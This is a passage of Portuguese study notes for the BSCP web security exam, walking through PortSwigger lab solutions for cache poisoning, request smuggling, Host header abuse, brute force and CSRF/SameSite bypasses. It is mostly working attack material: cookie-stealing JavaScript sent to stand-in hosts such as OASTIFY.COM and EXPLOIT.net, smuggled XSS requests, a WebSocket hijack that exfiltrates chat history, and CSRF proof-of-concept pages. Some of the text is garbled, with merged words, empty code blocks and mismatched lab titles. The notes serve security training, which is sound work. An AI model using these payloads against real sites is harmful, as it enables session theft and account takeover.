>A extensão Param Miner, ao realizar um `Bulk scan > Rails parameter cloaking scan`, ***identificará*** automaticamente a vulnerabilidade. Manualmente, pode ser identificado adicionando `;` para anexar outro parâmetro ao `utm_content`; o cache trata isso como um único parâmetro. Isso significa que o parâmetro extra também é excluído da chave do cache.
>O `código-fonte` de `/js/geolocate.js?callback=setCountryCookie` é chamado em todas as páginas e executa a função de callback.
>O parâmetro `callback` é chaveado e, portanto, não pode envenenar o cache para o usuário vítima, mas ao combinar o parâmetro duplicado com `utm_content`, ele é então excluído e o cache pode ser envenenado.```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

Payload de captura de cookies com Cache Cloaking abaixo, continue envenenando o cache até que a vítima acesse o cache armazenado.``` GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='%2bdocument.cookie%3b HTTP/2
>Abaixo está o payload [URL decodificado](https://www.urldecoder.org/).```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2
PortSwigger Lab: Ocultação de parâmetros
Adicionar um segundo cabeçalho Host com um servidor de exploit, isto identifica uma vulnerabilidade de cache ambígua e roteia sua requisição. Observe que o servidor de exploit no segundo cabeçalho Host é refletido em uma URL absoluta usada para importar um script de
/resources/js/tracking.js.```html Host: TARGET.net Host: exploit.net
>No servidor de exploração, defina um arquivo no mesmo caminho das chamadas do alvo para ```/resources/js/tracking.js```; este conterá o payload. Coloque o código do payload JavaScript abaixo para realizar um roubo de cookies.```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

PortSwigger Lab: Envenenamento de cache web via requisições ambíguas
Identifique os cabeçalhos de cache hit nas respostas,
então teste se o alvo suporta os cabeçalhosX-Forwarded-HostouX-Forwarded-Scheme.
Esses cabeçalhos podem permitir o roubo do cookie de sessão da vítima.
Identifique se adicionar os dois cabeçalhos Forwarded à requisição GET
/resources/js/tracking.jsresulta em uma alteração no cabeçalho de resposta location. Isso identifica envenenamento positivo da cache com múltiplos cabeçalhos.```html GET /resources/js/tracking.js?cb=123 HTTP/2 Host: TARGET.net X-Forwarded-Host: EXPLOIT.net X-Forwarded-Scheme: nothttps

>No servidor de exploração, altere o caminho do arquivo para ```/resources/js/tracking.js```
>e então atualize o cabeçalho ```X-Forwarded-Host: EXPLOIT.net``` da requisição de envenenamento.
>Coloque o payload no corpo do servidor de exploração.```html
document.location='https://OASTIFY.COM/?poisoncache='+document.cookie;
Remova o
cb=123cache buster e, em seguida, envenene o cache até que a vítima seja redirecionada para o payload tracking.js no servidor de exploração, a fim de roubar o cookie de sessão.
PortSwigger Lab: Envenenamento de cache da web com múltiplos cabeçalhos
Identifique que a aplicação está vulnerável a envenenamento por parâmetro duplicado; ao adicionar um segundo parâmetro com o mesmo nome e um valor diferente, a resposta refletiu o valor injetado.
```
GET /js/geolocate.js?callback=setCountryCookie&callback=FUZZERFunction; HTTP/2
>A função que é chamada na resposta ao passar um parâmetro de callback duplicado é refletida. Observe que na resposta a chave de cache ainda é derivada do parâmetro de callback original na linha da solicitação GET.

>Não foi possível fazer o payload de roubo de cookies funcionar......
[PortSwigger Lab: Web cache poisoning via a fat GET request](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get)
-----
## Host Headers
[Spoof IP Address](#spoof-ip-address)
[HOST Connection State](#host-connection-state)
[Host Routing based SSRF](#host-routing-based-ssrf)
[SSRF via flawed Host request parsing](#absolute-get-url--host-ssrf)
### Spoof IP Address
>***Identifique*** que cabeçalhos HOST alterados são suportados,
>o que permite falsificar seu endereço IP e contornar a proteção de força bruta baseada em IP
>ou ataques de redirecionamento para fazer envenenamento de ***redefinição de senha***.
>Inclua os cabeçalhos `X- ` abaixo e altere o parâmetro de nome de usuário na solicitação de redefinição de senha para `Carlos` antes de enviar a solicitação.
>No exame BSCP, se você usou esse exploit, isso significa que você não usou uma vulnerabilidade que exige interação do usuário e permite usar uma vulnerabilidade de interação para obter acesso ao estágio 3 como admin usando a função `Deliver exploit to victim` do servidor de exploit.```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net
X-Forwarded-Server: EXPLOIT.net
Dicas & Notas de fullfox:
Host: ou X-Forwarded-Host:, se você receber o erro Invalid hostname, tente usar o seguinte hostname: xxx.oastify.com?TARGET.net, uma URL de destino legítima sem barra.Verifique o log do servidor de exploração para obter o link de redefinição do nome de usuário da vítima.

PortSwigger Lab: Envenenamento de redefinição de senha via middleware
O alvo é vulnerável a SSRF baseado em roteamento via cabeçalho Host, mas valide o estado da conexão da primeira solicitação. Enviar solicitações agrupadas em sequência usando conexão única e definindo o cabeçalho de conexão como keep-alive contorna a validação do cabeçalho Host e permite a exploração de SSRF do servidor local.```html GET / HTTP/1.1 Host: TARGET.net Cookie: session=ValueOfSessionCookie Content-Length: 48 Content-Type: text/plain;charset=UTF-8 Connection: keep-alive
>Próxima solicitação é a segunda aba na sequência de solicitações do grupo.```html
POST /admin/delete HTTP/1.1
Host: localhost
Cookie: _lab=YOUR-LAB-COOKIE; session=YOUR-SESSION-COOKIE
Content-Type: x-www-form-urlencoded
Content-Length: 53
csrf=TheCSRFTokenValue&username=carlos
Observe que a segunda requisição acessou com sucesso o painel de administração.

PortSwigger Lab: Bypass de validação de host via ataque de estado de conexão
Arquitetura com servidor front-end e back-end, e o front-end ou o back-end não suporta codificação chunked (HEX) ou content-length (Decimal). Contorne os controles de segurança para recuperar a requisição da vítima e use os cookies do usuário vítima para acessar sua conta.
TE.CL dualchunk - Transfer-encoding ofuscado
TE.CL multiCase - Admin bloqueado
CL.TE multiCase - Admin bloqueado
CL.TE multiCase - Ladrão de cookies Content-Length
CL.TE multiCase - Ladrão de cookies User-Agent
Contrabando HTTP/2 - Ladrão de cookies por injeção CRLF
HTTP/2 TE - Ladrão de cookies Admin
Se nomes de cabeçalho duplicados forem permitidos e a vulnerabilidade for detectada como dualchunk, adicione um cabeçalho adicional com nome e valor = Transfer-encoding: cow. Use técnicas de ofuscação com o segundo TE.``` Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding : chunked
Transfer-encoding: identity Transfer-encoding: cow
>Alguns servidores que suportam o cabeçalho `Transfer-Encoding` podem ser induzidos a não processá-lo se o cabeçalho estiver **obfuscado** de alguma forma.
>No menu Repeater, certifique-se de que a opção **"Atualizar Content-Length"** esteja desmarcada.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: identity
e6
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?c='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0\r\n
\r\n

Nota: Você precisa incluir a sequência final \r\n\r\n após o 0 final.
PortSwigger Lab: contrabando de requisição HTTP, ofuscando o cabeçalho Transfer-Encoding (TE)
Imaginem com que frequência esse cenário ocorre, em que um hacker consegue roubar a requisição do usuário visitante por meio da vulnerabilidade HTTP Sync?
Ao tentar acessar o caminho de URL
/admindo portal, recebemos a mensagem de filtro,Path /admin is blocked. O scanner HTTP Request Smuggler identifica a vulnerabilidade comoTE.CL multiCase (delayed response). Nota: como o servidor back-end não suporta codificação chunked, desativeUpdate Content-Lengthno menu do Repeater.
Depois de desativar a atualização automática do Content-Length, altere para
HTTP/1.1, envie a requisição abaixo duas vezes, adicionando o segundo cabeçalhoContent-Length: 15para evitar que o cabeçalho HOST entre em conflito com a primeira requisição.
Nota: é necessário incluir a sequência final\r\n\r\napós o0final.
Corrigir manualmente os campos de comprimento em ataques de contrabando de requisição exige que cada tamanho de chunk em bytes seja expresso em HEXADECIMAL, e Content-Length especifica o comprimento do corpo da mensagem em bytes. Os chunks são seguidos por uma nova linha e, em seguida, pelo conteúdo do chunk. A mensagem é finalizada com um chunk de tamanho ZERO.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-length: 4 Transfer-Encoding: chunked
71 POST /admin HTTP/1.1 Host: localhost Content-Type: application/x-www-form-urlencoded Content-Length: 15
x=1 0
>Calculando o comprimento da requisição de contrabando TE.CL (Transfer-Encoding / Content-Length) em **HEXADECIMAL** e o payload está entre o comprimento hexadecimal de **71** e o **ZERO** terminal, não incluindo o ZERO E não incluindo o `\r\n` anterior na linha acima de ZERO, como parte do comprimento. O **content-length** da requisição POST inicial é definido manualmente.

>Ao enviar `/admin/delete?username=carlos` para excluir o usuário, o comprimento hexadecimal da codificação de transferência é alterado de `71` para o valor hexadecimal `88` para incluir o tamanho extra da requisição contrabandeada.
[Laboratório PortSwigger: Explorando o contrabando de requisições HTTP para contornar os controles de segurança do front-end, vulnerabilidade TE.CL](https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl)
### CL.TE multiCase - Admin bloqueado
>Ao tentar acessar o caminho de URL do portal `/admin`, recebemos a mensagem do filtro, `Path /admin is blocked`. O scanner HTTP Request Smuggler ***identifica*** a vulnerabilidade como `CL.TE multiCase (delayed response)`.
>Para acessar o painel de administração, envie a requisição abaixo duas vezes, adicionando o segundo cabeçalho ```Content-Length: 10``` para evitar que o cabeçalho HOST entre em conflito com a primeira requisição.```html
POST / HTTP/1.1
Host: TARGET.net
Cookie: session=waIS6yM79uaaNUO4MnmxejP2i6sZWo2E
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
tRANSFER-ENCODING: chunked
0
GET /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=
Na segunda vez que a solicitação é enviada, o portal de administração é retornado na resposta.

Content-Length grande para capturar as solicitações da vítima. Enviando uma solicitação POST com uma solicitação contrabandeada, mas o Content-Length é maior que o comprimento real; quando a vítima navega, o valor da sessão de cookie é postado no comentário blob. Aumentou o Content-Length da solicitação de comment-post para 798 e, em seguida, contrabandeou a solicitação POST para o servidor back-end.```html POST / HTTP/1.1 Host: TARGET.net Content-Type: application/x-www-form-urlencoded Content-Length: 242 Transfer-Encoding: chunked
0
POST /post/comment HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: session=HackerCurrentCookieValue
csrf=ValidCSRFCookieValue&postId=8&name=c&email=c%40c.c&website=&comment=c

>Sem nova linha no final da solicitação POST contrabandeada acima^^.
>Veja o **post** do blog para verificar se há um comentário contendo a solicitação de um usuário. Observe que o ataque só terá sucesso quando o usuário vítima navegar pelo site de destino. Copie o cabeçalho Cookie do usuário a partir do comentário no blog e use o cookie para acessar a conta da vítima.

[Laboratório PortSwigger: Explorando o contrabando de solicitações HTTP para capturar solicitações de outros usuários](https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests)
### CL.TE multiCase - Roubador de Cookie User-Agent
>***Identifique*** que o valor do UserAgent é armazenado na solicitação GET que carrega o formulário de comentário do blog, e fica armazenado no valor oculto **User-Agent**. Explorar o contrabando de solicitações HTTP para entregar XSS refletido usando o valor **User-Agent**, que é então colocado em uma solicitação contrabandeada.
>Payload básico de Cross Site Scripting escapando do documento HTML.```JavaScript
"/><script>alert(1)</script>
Payload de roubo de cookies.```JavaScript a"/>;
>Contrabandeie esta requisição XSS para o servidor de back-end, para que ela explore o próximo visitante. Coloque o roubador de cookies XSS no cabeçalho **User-Agent**.```html
POST / HTTP/1.1
Host: TARGET.net
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
0
GET /post?postId=4 HTTP/1.1
User-Agent: a"/><script>document.location='http://OASTIFY.COM/?Hack='+document.cookie;</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1

Verifique a solicitação do Collaborator do PortSwigger recebida da vítima navegando no alvo.

Laboratório do PortSwigger: Explorando o smuggling de requisição HTTP para entregar XSS refletido
O alvo é vulnerável a smuggling de requisição porque o servidor de front-end rebaixa requisições HTTP/2 e não sanitiza adequadamente os cabeçalhos de entrada. A exploração é feita usando um vetor de smuggling de requisição exclusivo do HTTP/2 para roubar o cookie de sessão de uma vítima e obter acesso à conta do usuário.
Identifique uma possível vulnerabilidade quando o alvo reflete o histórico de pesquisas anterior e recente com base no cookie; ao remover o cookie, percebe-se que o histórico de pesquisas é reiniciado, confirmando que ele está vinculado ao seu cookie de sessão.

Expanda a seção Request Attributes do Inspector e mude o protocolo para HTTP/2; em seguida, acrescente um cabeçalho arbitrário
foocom o valorbar, seguido pela sequência\r\n, e depois peloTransfer-Encoding: chunked, pressionando shift+ENTER.

Nota: ative a opção Allow HTTP/2 ALPN override e mude o corpo da requisição HTTP/2 para a requisição POST abaixo.```html 0
POST / HTTP/1.1 Host: YOUR-LAB-ID.web-security-academy.net Cookie: session=HACKER-SESSION-COOKIE Content-Length: 800
search=nutty

[Laboratório PortSwigger: contrabando de requisições HTTP/2 via injeção de CRLF](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-smuggling-via-crlf-injection)
[Demonstração no Youtube: contrabando de requisições HTTP/2 via injeção de CRLF](https://youtu.be/E-bnCGzl7Rk)
### HTTP/2 TE desync v10a h2path
>O alvo é vulnerável a contrabando de requisições porque o servidor front-end faz downgrade das requisições HTTP/2 mesmo quando elas têm um comprimento ambíguo. Roube o cookie de sessão, do administrador que visita o alvo. A extensão do Burp, **HTTP Request Smuggler**, ***identificará*** a vulnerabilidade como HTTP/2 TE desync v10a (H2.TE).

>Nota: Mude para **HTTP/2** nos atributos de requisição do inspetor e ative a opção **Allow HTTP/2 ALPN override** no menu de repetição.```html
POST /x HTTP/2
Host: TARGET.net
Transfer-Encoding: chunked
0
GET /x HTTP/1.1
Host: TARGET.web-security-academy.net\r\n
\r\n
Nota: Os caminhos nas requisições POST e GET apontam para endpoints inexistentes. Isso ajuda a identificar quando, ao não receber uma resposta 404, a resposta é da requisição capturada do usuário vítima. Lembre-se de encerrar a requisição contrabandeada corretamente, incluindo a sequência
\r\n\r\napós o cabeçalho Host.

Copie o valor do cookie de sessão roubado em uma nova requisição GET http/2 para o painel de administração.``` GET /admin HTTP/2 Host: TARGET.web-security-academy.net Cookie: session=VictimAdminSessionCookieValue Cache-Control: max-age=0

[Laboratório PortSwigger: Envenenamento da fila de respostas via contrabando de requisição H2.TE](https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling)
-----
## Força Bruta
[Stay-Logged-in](#stay-logged-in)
[Quebra offline do Stay-logged-in](#stay-logged-in-offline-crack)
[Login protegido contra força bruta](#brute-force-protected-login)
[Login sutilmente inválido](#subtly-invalid-login)
### Stay-Logged-in
>A opção de login com uma caixa de seleção de stay-logged-in resulta em um valor de Cookie contendo a senha do usuário logado e é vulnerável a ataques de força bruta.

>As etapas de exploração abaixo, além das regras de processamento de Payload do Intruder em ordem, incluindo a opção GREP em sequência, antes de iniciar o ataque.
1. Faça logout do usuário atual.
2. Envie a requisição GET /my-account mais recente para o Burp Intruder.
3. Selecione o cookie: ```stay-logged-in``` como posição de injeção.
4. Hash: ```MD5```
5. Adicione o prefixo: ```carlos:```
6. Codifique: ```Base64-encode```
7. Adicione **GREP** na aba de configurações, para verificar na resposta a string ```Update email``` que indica login bem-sucedido no ataque.

[Laboratório PortSwigger: Forçando um cookie stay-logged-in](https://portswigger.net/web-security/authentication/other-mechanisms/lab-brute-forcing-a-stay-logged-in-cookie)
### Quebra offline do Stay-logged-in
>A função de comentários do aplicativo de blog é vulnerável a [XSS armazenado](#stored-xss); use o payload abaixo no comentário do blog para enviar o cookie de sessão de Carlos para o servidor de exploração.```
<script>
document.location='https://EXPLOIT.net/StealCookie='+document.cookie
</script>
Decodifique o valor do cookie
stay-logged-inem Base64 e use um banco de dados de estação de quebra de hash MD5 online.

PortSwigger Lab: Quebra de senha offline
Identificada a proteção contra força bruta no login quando o back-end aplica um banimento de 30 minutos, resultando em IP bloqueado após muitas tentativas de login inválidas. Testar o cabeçalho
X-Forwarded-For:resultou em contornar a proteção contra força bruta. Observando o tempo de resposta com uma senha inválida longa, podemos usar a técnica Pitchfork para identificar primeiro os nomes de usuário válidos com uma senha aleatória longa e depois executar novamente o Intruder com Pitchfork, definindo cada posição de payload do ataque para iterar por todos os conjuntos simultaneamente.
Burp Lab Listas de palavras para fuzzing de nomes de usuário, senhas e diretórios
Posição de payload 1 no endereço IP para
X-Forwarded-For:e posição 2 no nome de usuário com uma senha longa para ver o atraso no tempo de resposta na janela de colunas do ataque.``` X-Forwarded-For: 12.13.14.15

>Repita o ataque **Pitchfork** do Intruder acima no campo de senha e então ***identifique*** a senha válida na coluna de status com resultado 302.
[Laboratório PortSwigger: Enumeração de usuários via tempo de resposta](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-response-timing)
### Login Sutilmente Inválido
>***Identifique*** que a página de login e a redefinição de senha não são protegidas contra ataques de força bruta, e não há bloqueio de IP ou timeout aplicado para nome de usuário ou senha inválidos.
>Dica para o exame BSCP, às vezes há outro usuário com senha fraca que pode ser atacado por força bruta. Carlos nem sempre é a conta a ser alvo para obter acesso inicial na fase 1.

>Observe na coluna de ataque do Intruder para o valor GREP, ```Invalid username or password.``` a única mensagem de resposta para um ataque de nome de usuário com falha não termina com ponto final. Repita o ataque com esse nome de usuário ***identificado*** e ataque **Sniper** no campo de senha para ***identificar*** a resposta ```302``` para um login válido.

>No exame BSCP ***fique atento*** a outras mensagens retornadas que sejam diferentes e revelem contas válidas no aplicativo e permitam a ***identificação*** por força bruta das senhas de contas, como por exemplo na função [atualizar redefinição de senha](#refresh-password-broken-logic).
>Depois que o nome de usuário válido for identificado a partir de uma mensagem de resposta diferente, execute a [força bruta](#brute-force) usando o Burp Intruder na senha.
[Laboratório PortSwigger: Enumeração de usuários via respostas sutilmente diferentes](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-subtly-different-responses)
>Outro cenário para identificar um nome de usuário válido na aplicação web é fornecer uma lista de nomes de usuário no login e um valor de senha inválido. Nos resultados do ataque Intruder, uma resposta conterá a mensagem `Incorrect password`.
>Posição de injeção do ataque Intruder, `username=§invalid-username§&password=SomeStupidLongCrazyWrongSecretPassword123456789`.
[Laboratório PortSwigger: Enumeração de usuários via respostas diferentes](https://portswigger.net/web-security/authentication/password-based/lab-username-enumeration-via-different-responses)
-----
## Autenticação
[Registro de Conta](#account-registration)
[Macro de bypass do Auth Token](#auth-token-bypass-macro)
### Registro de Conta
>Uma falha de lógica de negócio no recurso de registro de conta permite obter um ponto de apoio como acesso ao papel de usuário alvo. [Descoberta de Conteúdo](#content-discovery) encontra o caminho ```/admin```, a mensagem indica que a interface Admin só está disponível se logado como um usuário **DontWannaCry**.

>Um e-mail criado com mais de 200 caracteres antes do símbolo ```@``` é então truncado para 255 caracteres. Isso ***identifica*** a vulnerabilidade na página de registro de conta, uma **falha** de lógica. No e-mail abaixo, o ```m``` no final de ```@dontwannacry.com``` é exatamente o caractere 255.```
very-long-strings-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-string-so-very-long-strings@dontwannacry.com.exploit-0afe007b03a34169c10b8fc501510091.exploit-server.net

PortSwigger Lab: Tratamento inconsistente de entrada excepcional
Se o login de autenticação for protegido contra força bruta usando um token aleatório que é usado em cada POST de login, uma Macro Burp pode ser usada para contornar a proteção.
Criar Macro Burp
Macros e adicione uma nova macro.Configure item e adicione um local de parâmetro personalizado para extrair.Include all URLs.
PortSwigger Lab: Falha lógica de dinheiro infinito - mostra como criar Macro Burp
OAuth
Validação de Referer CSRF
Cabeçalho Referer Presente
LastSearchTerm
CSRF duplicado em cookie
Token CSRF Presente
Está Logado
CSRF Sem Defesas
Bypass de SameSite Strict
Bypass de SameSite Lax
A vulnerabilidade de Cross-Site Request Forgery permite que um atacante force os usuários a realizar ações que não pretendiam realizar. Isso pode permitir que o atacante altere o endereço de e-mail da vítima e use a redefinição de senha para assumir a conta.
Vinculação OAuth: servidor de exploração hospedando iframe, depois entrega à vítima, forçando o usuário a atualizar o código vinculado.

Interceptei o GET /oauth-linking?code=[...]. Envie para o Repeater para salvar o código. Drop a solicitação. Importante garantir que o código não seja usado e permaneça válido. Salve no servidor de exploração um iframe no qual o atributo
srcaponte para a URL que você acabou de copiar.```html
[Laboratório PortSwigger: Vinculação forçada de perfil OAuth](https://portswigger.net/web-security/oauth/lab-oauth-forced-oauth-profile-linking)
### CSRF de Validação de Referer
>***Identifique*** que a função de alteração de e-mail é vulnerável a CSRF observando que, quando o valor do cabeçalho **Referer** é alterado, a resposta exibe a mensagem `Invalid referer header`, e a alteração de e-mail é aceita quando o valor do referrer contém o domínio alvo esperado em algum lugar do valor.

>Adicionar o domínio original do alvo e anexar `history.pushState('', '', '/?TARGET.net');` ao cabeçalho **Referer** na forma de uma string de consulta permite que a alteração de e-mail seja atualizada.```html
Referrer-Policy: unsafe-url
Nota: Ao contrário da grafia normal do cabeçalho Referer, a palavra "referrer" deve ser escrita corretamente na seção
headacima do servidor de exploração.

``` >Quando o payload de exploit acima é entregue à vítima, o payload do POC de CSRF altera o e-mail da vítima para **[email protected]**, porque o cabeçalho Referer continha o alvo no valor. No exame ***BSCP***, anote o endereço de e-mail do servidor ```hacker@exploit``` para usar na tomada de conta.Crie um exploit de prova de conceito de CSRF e hospede-o no servidor de exploração. Edite o JavaScript para que o terceiro argumento da função history.pushState() inclua uma string de consulta com a URL de destino.```html
PortSwigger Lab: CSRF com validação de Referer quebrada
``` >Este é um exploit interativo e, no exame BSCP, se o exploit do estágio 1 não for interativo, então este pode ser usado para obter interação do administrador fazendo o administrador clicar no link para alterar sua senha. Nota: verifique o `código-fonte` da página de alteração de e-mail para ver se há valores adicionais de id de formulário.No pedido de atualização de e-mail, ao alterar o cabeçalho
referer, a resposta indicaInvalid referer header, identificando a vulnerabilidade de CSRF. Usando o<meta name="referrer" content="no-referrer">como parte do PoC de CSRF do servidor de exploit, esse controle pode ser contornado. Isso instrui o servidor de exploit a entregar o exploit à vítima sem o cabeçalhoreferer.```html

Laboratório PortSwigger: CSRF onde a validação de Referer depende do cabeçalho estar presente
Identifique a vulnerabilidade de CSRF onde o token não está vinculado a um cookie que não é de sessão, alterando o cookie csrfkey e observando que a solicitação é rejeitada. Observe o valor do cookie LastSearchTerm contendo a entrada fornecida pelo usuário no parâmetro de pesquisa.

A função de pesquisa não tem proteção contra CSRF; crie o payload a seguir que injeta caracteres de nova linha
%0d%0apara definir um novo valor de cookie na resposta e use isso para injetar cookies no navegador do usuário vítima.``` /?search=test%0d%0aSet-Cookie:%20csrfKey=CurrentUserCSRFKEY%3b%20SameSite=None
>Gere o POC de CSRF, ative a opção para incluir um script **auto-submit** e clique em **Regenerate**. Remova o bloco de código do script **auto-submit** e adicione o seguinte em vez disso, e coloque o código do script ```history.pushState``` abaixo do cabeçalho do body. O **onerror** da tag IMG SRC enviará o POC de CSRF.```
<img src="https://TARGET.net/?search=test%0D%0ASet-Cookie:%20csrfKey=CurrentUserCSRFKEY;%20SameSite=None" onerror="document.forms[0].submit()">
Durante o exame BSCP Exam, defina o valor de alteração de e-mail para o endereço de e-mail do servidor de exploração [email protected]. Em seguida, você pode alterar a senha do administrador com a função de redefinição.

No código CSRF PoC abaixo, o valor csrf oculto é o gerado pela função change email e o valor csrfkey no
img srcé o valor da vítima, obtido ao fazer login como vítima com as credenciais fornecidas. Não tenho certeza no exame, mas no mundo real este é um teste a ser realizado.```html
No alvo, identificamos que o token-chave CSRF está duplicado no valor do cookie. Outro indicador é que o cookie
LastSearchTermcontém o valor pesquisado. Ao fornecer um valor de pesquisa que contenha%0d%0a, podemos injetar caracteres de fim de linha e nova linha para criar um novo cookie e valor CSRF.

No código do exploit, na tag
img src, definimos o cookie csrf como falso.```html
Laboratório PortSwigger: CSRF onde o token é duplicado no cookie
Alterar o valor do parâmetro
csrffaz com que a solicitação de alteração de e-mail seja rejeitada. Excluir o token CSRF permite que a alteração de e-mail seja aceita, e isso identifica que a validação da presença do token é vulnerável.
``` Payload de PoC de CSRF hospedado no servidor de exploração:```html
PortSwigger Lab: CSRF onde a validação do token depende de o token estar presente
Se um cookie com o nome isloggedin for identificado, então uma solicitação POST de atualização de senha de administrador poderia ser explorada.
Altere o parâmetro de nome de usuário para administrator enquanto estiver conectado como um usuário de privilégios baixos.
O token CSRF não está vinculado à sessão do usuário.```html POST /refreshpassword HTTP/1.1 Host: TARGET.net Cookie: session=%7b%22username%22%3a%22carlos%22%2c%22isloggedin%22%3atrue%7d--MCwCFAI9forAezNBAK%2fWxko91dgAiQd1AhQMZgWruKy%2fs0DZ0XW0wkyATeU7aA%3d%3d Content-Length: 60 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://TARGET.net Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/; X-Forwarded-Host: EXPLOIT.net X-Host: EXPLOIT.net X-Forwarded-Server: EXPLOIT.net Referer: https://TARGET.net/refreshpassword Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close
csrf=TOKEN&username=administrator

### CSRF Sem Defesas
>Alvo sem defesas contra a função de alteração de e-mail pode permitir a escalada de privilégios para a função de administrador. No exame, alterar o e-mail para o endereço de e-mail `[email protected]` no servidor de exploit pode permitir que o atacante altere a senha do usuário administrador, resultando em escalada de privilégios.
>No exame, há apenas ***um*** usuário ativo, e se a etapa anterior foi concluída usando um ataque que não exigiu que o usuário ativo clicasse em um link, como realizar envenenamento de cache ou realizar um ataque de phishing por meio da função `Deliver to Victim`, então o exploit de alteração via CSRF pode ser usado.

[PortSwigger Lab: Vulnerabilidade CSRF sem defesas](https://portswigger.net/web-security/csrf/lab-no-defenses)
### Bypass do SameSite Strict
>Na função de chat ao vivo, notamos que a requisição `GET /chat HTTP/2` não usa tokens imprevisíveis, isso pode ***identificar*** uma possível vulnerabilidade de [sequestro de WebSocket entre sites](https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking) (CSWSH) se for possível contornar a restrição de cookies [SameSite](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions).
>Hospede um payload POC no servidor de exploit para ***identificar*** a vulnerabilidade CSWSH.```
<script>
var ws = new WebSocket('wss://TARGET.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
O
SameSite=Strictestá definido para os cookies de sessão e isso impede que o navegador inclua esses cookies em requisições cross-site de XSS. Nós Identificamos o cabeçalhoAccess-Control-Allow-Originem requisições adicionais de scripts e imagens para um subdomínio emcms-.
Ao navegar para este subdomínio de CDN emcms-e então identificar que a entrada aleatória de nome de usuário é refletida, confirmamos que se trata de uma vulnerabilidade de XSS refletido.
cms reflected xss samesite bypass``` https://cms-TARGET.net/login?username=%3Cscript%3Ealert%28%27reflectXSS%27%29%3C%2Fscript%3E&password=pass
>Contorne as restrições SameSite codificando em URL o script inteiro abaixo e usando-o como entrada no login de usuário `cms-` do subdomínio CDN, hospedado no servidor de exploit.```
<script>
var ws = new WebSocket('wss://TARGE.net/chat');
ws.onopen = function() {
ws.send("READY");
};
ws.onmessage = function(event) {
fetch('https://OASTIFY.COM', {method: 'POST', mode: 'no-cors', body: event.data});
};
</script>
Hospede o seguinte no servidor de exploit e entregue à vítima; assim que o colaborador receber o histórico de chat da vítima com sua senha, isso resulta na tomada de conta.```
>O histórico do chat contém a senha da vítima.

[PortSwigger Lab: SameSite Strict bypass via sibling domain](https://portswigger.net/web-security/csrf/bypassing-samesite-restrictions/lab-samesite-strict-bypass-via-sibling-domain)
### SameSite Lax bypass
>Observe que, se você visitar `/social-login`, isso inicia automaticamente o fluxo OAuth completo. Se você ainda tiver uma sessão autenticada no servidor OAuth, tudo isso acontece sem qualquer interação e, no histórico do proxy, observe que toda vez que você conclui o fluxo OAuth, o site alvo define um novo cookie de sessão, mesmo que você já esteja logado.
>Contorne o bloqueador de pop-ups, para induzir a vítima a clicar na página e só abrir o pop-up depois que a vítima clicar, com o seguinte JavaScript. O código JavaScript do exploit primeiro atualiza a sessão da vítima, forçando o navegador dela a visitar `/social-login`, e então envia a solicitação de alteração de e-mail após uma breve pausa. Entregue o exploit à vítima.```
<form method="POST" action="https://TARGET.net/my-account/change-email">
<input type="hidden" name="email" value="[email protected]">
</form>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
window.open('https://TARGET.net/social-login');
setTimeout(changeEmail, 5000);
}
function changeEmail() {
document.forms[0].submit();
}
</script>
Laboratório PortSwigger: bypass de SameSite Lax via atualização de cookie
Lógica de redefinição de senha quebrada
Senha Atual
Tokens de senha sensíveis ao tempo
Se o recurso de Redefinição de Senha do aplicativo for falho, essa vulnerabilidade pode ser explorada para identificar contas válidas ou obter o token de redefinição de senha. Isso pode levar à identificação de contas de usuários válidas ou ao escalonamento de privilégios.
